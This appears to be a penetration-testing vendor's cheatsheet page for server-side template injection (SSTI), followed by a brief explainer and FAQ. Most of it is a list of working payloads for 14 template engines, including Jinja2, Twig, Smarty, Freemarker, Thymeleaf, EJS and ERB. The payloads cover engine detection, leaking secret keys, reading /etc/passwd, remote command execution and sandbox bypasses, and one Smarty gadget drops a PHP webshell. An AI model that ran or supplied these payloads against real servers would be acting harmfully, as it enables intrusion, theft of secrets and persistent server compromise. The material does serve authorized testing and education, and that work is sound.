
// tool · injection
SSTI cheatsheet
Runs 100% in your browser · nothing is sent
- Jinja2PythonDetection
{{7*7}}Why it works: Anything inside
{{ }}is evaluated as a Python expression. If the response shows49, the template is evaluating your input. - Jinja2PythonDetection
{{7*'7'}}Why it works: Integer × string repeats the string (
7777777). Confirms Jinja2/Python and distinguishes it from Twig, which would return49. - Jinja2PythonInfo & context
{{ config.items() }}Why it works: In Flask,
configis in the context and exposes the entire configuration — includingSECRET_KEY, which lets you forge sessions. - Jinja2PythonRCE
{{ cycler.__init__.__globals__.os.popen('id').read() }}Why it works:
cycleris a Jinja2 global; via__init__.__globals__you reach theosmodule and execute a command. - Jinja2PythonRCE
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}Why it works: Classic Flask path: from
requestto__builtins__.__import__to importosand run commands. - Jinja2PythonRCE
{{ ''.__class__.__mro__[1].__subclasses__() }}Why it works: Lists every subclass of
object. Findsubprocess.Popen(or a file wrapper) and call it by index for RCE or file reads. - Jinja2PythonSandbox bypass
{{ ''|attr('__class__') }}Why it works: When the dot (
.) is filtered, theattr()filter accesses attributes by string, bypassing the block. - Jinja2PythonSandbox bypass
{{ request['application']['__globals__'] }}Why it works: Bracket access
['...']avoids the dot and blocklists targeting words like__globals__. - TornadoPythonDetection
{{7*7}}Why it works: Tornado also uses
{{ }}for expressions.49confirms server-side evaluation. - TornadoPythonRCE
{% import os %}{{ os.popen('id').read() }}Why it works: Tornado allows
{% import %}; importosand execute commands directly. - MakoPythonDetection
${7*7}Why it works: Mako evaluates expressions in
${ ... }.49confirms the engine. - MakoPythonRCE
<%import os%>${os.popen('id').read()}Why it works: Mako accepts raw Python
<% %>blocks; importosand run commands. - MakoPythonRCE
${self.module.cache.util.os.system('id')}Why it works: Mako's attribute chain reaches
os.systemwithout needing a code block. - MakoPythonFile read
${open('/etc/passwd').read()}Why it works:
openis reachable in Mako scope; reads arbitrary files from the server. - DjangoPythonDetection
{{7|add:7}}Why it works: Django does not evaluate free expressions; arithmetic only via filters like
add.14suggests Django (sandboxed). - DjangoPythonInfo & context
{% debug %}Why it works: The
{% debug %}tag dumps available variables and context — information disclosure useful for escalation. - DjangoPythonInfo & context
{{ settings.SECRET_KEY }}Why it works: If
settingsis in the context, it exposes secrets. In Django, SSTI is usually information disclosure, not direct RCE. - TwigPHPDetection
{{7*7}}Why it works: Twig evaluates
{{ }}.49confirms the engine. - TwigPHPDetection
{{7*'7'}}Why it works: In Twig,
7*'7'yields49(not7777777) — distinguishes it from Jinja2. - TwigPHPInfo & context
{{ _self }}Why it works:
_selfreferences the current template; a starting point to reach the Twig environment (_self.env). - TwigPHPRCE
{{ ['id']|filter('system') }}Why it works: The
filterfilter appliessystemto each array item, executing the command. - TwigPHPRCE
{{ ['id', 0]|sort('system') }}Why it works:
sortusessystemas the comparison callback, firing the command — an alternative whenfilteris blocked. - TwigPHPRCE
{{ ['id']|map('system')|join }}Why it works:
mapappliessystemto the array andjoinmaterializes the output — another RCE path. - TwigPHPSandbox bypass
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}Why it works: In Twig 1.x, registers
systemas the undefined-filter callback and triggers it with the command as the filter name. - SmartyPHPDetection
{$smarty.version}Why it works: Prints the Smarty version — confirms the engine and guides the exploitation vector.
- SmartyPHPDetection
{math equation="7*7"}Why it works: The
{math}tag evaluates the expression;49confirms Smarty. - SmartyPHPRCE
{php}system('id');{/php}Why it works: The
{php}tag runs raw PHP (Smarty < 3.1, or when re-enabled). - SmartyPHPRCE
{system('id')}Why it works: When PHP functions are allowed by the security policy, they can be called directly as a tag.
- SmartyPHPSandbox bypass
{Smarty_Internal_Write_File::writeFile("./shell.php","<?php system($_GET['c']); ?>",self::clearConfig())}Why it works: Known gadget: Smarty's static
writeFilemethod drops a webshell to disk.self::clearConfig()supplies the Smarty instance reference required as the 3rd argument. Removed in Smarty 3.1.30+. - FreemarkerJavaDetection
${7*7}Why it works: Freemarker evaluates
${ ... }.49confirms the engine. - FreemarkerJavaRCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Why it works: Instantiates Freemarker's
Executeutility class via?new()and runs the command. - FreemarkerJavaRCE
${"freemarker.template.utility.Execute"?new()("id")}Why it works: Compact form: creates
Executeand invokes it in the same expression. - FreemarkerJavaSandbox bypass
<#assign v="freemarker.template.utility.ObjectConstructor"?new()>${v("java.lang.ProcessBuilder","id").start()}Why it works: When
Executeis blocked,ObjectConstructorbuilds an arbitraryProcessBuilderto execute commands. - VelocityJavaDetection
#set($x=7*7)$xWhy it works: Velocity sets variables with
#set; printing49confirms the engine. - VelocityJavaRCE
#set($e="e") #set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null)) $run.exec("id")Why it works: Via reflection from a string, reaches
java.lang.Runtimeand executes OS commands. - VelocityJavaRCE
#set($run=$class.inspect("java.lang.Runtime").type.getRuntime()) $run.exec("id")Why it works: When the
$classtool is exposed in context, it grabsRuntimedirectly and executes commands. - ThymeleafJavaDetection
[[${7*7}]]Why it works: In a Thymeleaf/Spring EL expression context,
[[...]]evaluates inline;49confirms. - ThymeleafJavaRCE
${T(java.lang.Runtime).getRuntime().exec('id')}Why it works: Spring EL:
T(...)references a static class;Runtime.execexecutes the command. - ThymeleafJavaRCE
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.xWhy it works: The
__...__preprocessing of fragment/expression names evaluates the expression — the classic Thymeleaf SSTI via view name. - PugNode.jsDetection
#{7*7}Why it works: Pug interpolates
#{ ... }as JavaScript;49confirms server-side evaluation. - PugNode.jsRCE
#{global.process.mainModule.require('child_process').execSync('id')}Why it works: From
global.processyou reachrequire('child_process')and execute commands on Node. - PugNode.jsRCE
= global.process.mainModule.require('child_process').execSync('id')Why it works: A Pug code line (
= expr) executes arbitrary JavaScript on the server. - EJSNode.jsDetection
<%= 7*7 %>Why it works: EJS evaluates
<%= ... %>as JavaScript;49confirms the engine. - EJSNode.jsRCE
<%= global.process.mainModule.require('child_process').execSync('id') %>Why it works: The JS expression in EJS executes commands via
child_process. - EJSNode.jsSandbox bypass
?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('id');sWhy it works: CVE-2022-29078: polluting EJS options injects code through the output-function name — RCE without
<% %>in the input. - HandlebarsNode.jsRCE
{{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('id');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}Why it works: Handlebars is logic-less, but the
#with/lookup/constructorgadget rebuilds a function and reachesrequireto execute commands (version-dependent). - ERBRubyDetection
<%= 7*7 %>Why it works: ERB evaluates
<%= ... %>as Ruby;49confirms the engine. - ERBRubyRCE
<%= system('id') %>Why it works:
systemexecutes an operating-system command in Ruby. - ERBRubyRCE
<%= `id` %>Why it works: Backticks in Ruby execute the command and return the output — handy to exfiltrate the result.
- ERBRubyFile read
<%= File.read('/etc/passwd') %>Why it works:
File.readreads arbitrary files from the server. - GoGoDetection
{{ . }}Why it works: Go templates print the context with
{{ . }}. If it renders the injected struct/data, template evaluation is happening. - GoGoInfo & context
{{ .Password }}Why it works: Accesses fields of the struct passed to the template, leaking sensitive context data.
- GoGoInfo & context
{{ printf "%+v" . }}Why it works:
printf "%+v"dumps the whole context object. In Go, SSTI rarely becomes RCE (absent a dangerous FuncMap) — focus on information disclosure.
No payloads match these filters.
For authorized testing, research and education only. Do not test targets without explicit permission.
// reference
What is Server-Side Template Injection
Server-Side Template Injection (SSTI) happens when user input is concatenated into the template rendered on the server, instead of being passed as data. The template engine evaluates that input as an expression — and what should be text becomes code executed on the server.
Impact ranges from information disclosure and file reads to remote code execution (RCE), depending on the engine and its sandbox. Exploitation usually follows three steps: detect the injection, identify the engine, then escalate to file read or command execution.
Engines covered
The cheatsheet ships payloads for 14 template engines, grouped by language. Detection syntax and RCE gadgets change from one engine to another:
- Python: Jinja2, Tornado, Mako, Django
- PHP: Twig, Smarty
- Java: Freemarker, Velocity, Thymeleaf
- Node.js: Pug, EJS, Handlebars
- Ruby: ERB
- Go: Go
Detection → file read → RCE
Detection
Inject an arithmetic expression ({{7*7}}, ${7*7}, <%= 7*7 %>) and see whether the response evaluates to 49. Polyglots like ${{7*7}} help fire across several engines at once.
Info & context
Once the injection is confirmed, read environment variables, configuration objects and the template's internal structure to map what is reachable inside the sandbox.
File read
Many engines expose objects that open server files (for example open in Mako), leading to reads of /etc/passwd, source code and secrets.
RCE
The end goal is command execution on the server, reaching the language runtime (subprocesses, os.system, Runtime.exec) from the template context.
Sandbox bypass
When the engine restricts attributes or builtins, chain references (__class__, __mro__, request) to rebuild the blocked access and get back to RCE.
Frequently asked questions
What is Server-Side Template Injection (SSTI)?
It's when user input is concatenated into the template rendered on the server, instead of being passed as data. The engine evaluates the input as template code — which can become file reads or remote code execution (RCE).
{{7*7}} returned 49 — which engine is it?
{{7*7}} = 49 points to a Jinja2/Twig-style syntax. To disambiguate, try {{7*'7'}}: Jinja2 returns 7777777 and Twig returns 49. The cheatsheet includes detection polyglots per engine.
Is SSTI always RCE?
No. Depending on the engine and sandbox, impact ranges from information disclosure and file reads to full RCE. Some engines require a sandbox bypass to reach command execution.
What's the difference between SSTI and XSS?
Both are injections, but XSS runs in the victim's browser (client) and SSTI runs on the server that renders the template — which is why SSTI is usually far more severe.

Need to go beyond the tools?
We offer a complete white-label offensive security stack with Pentest, Scan and Social Engineering, delivered under your brand with specialist support.
Hire Intruder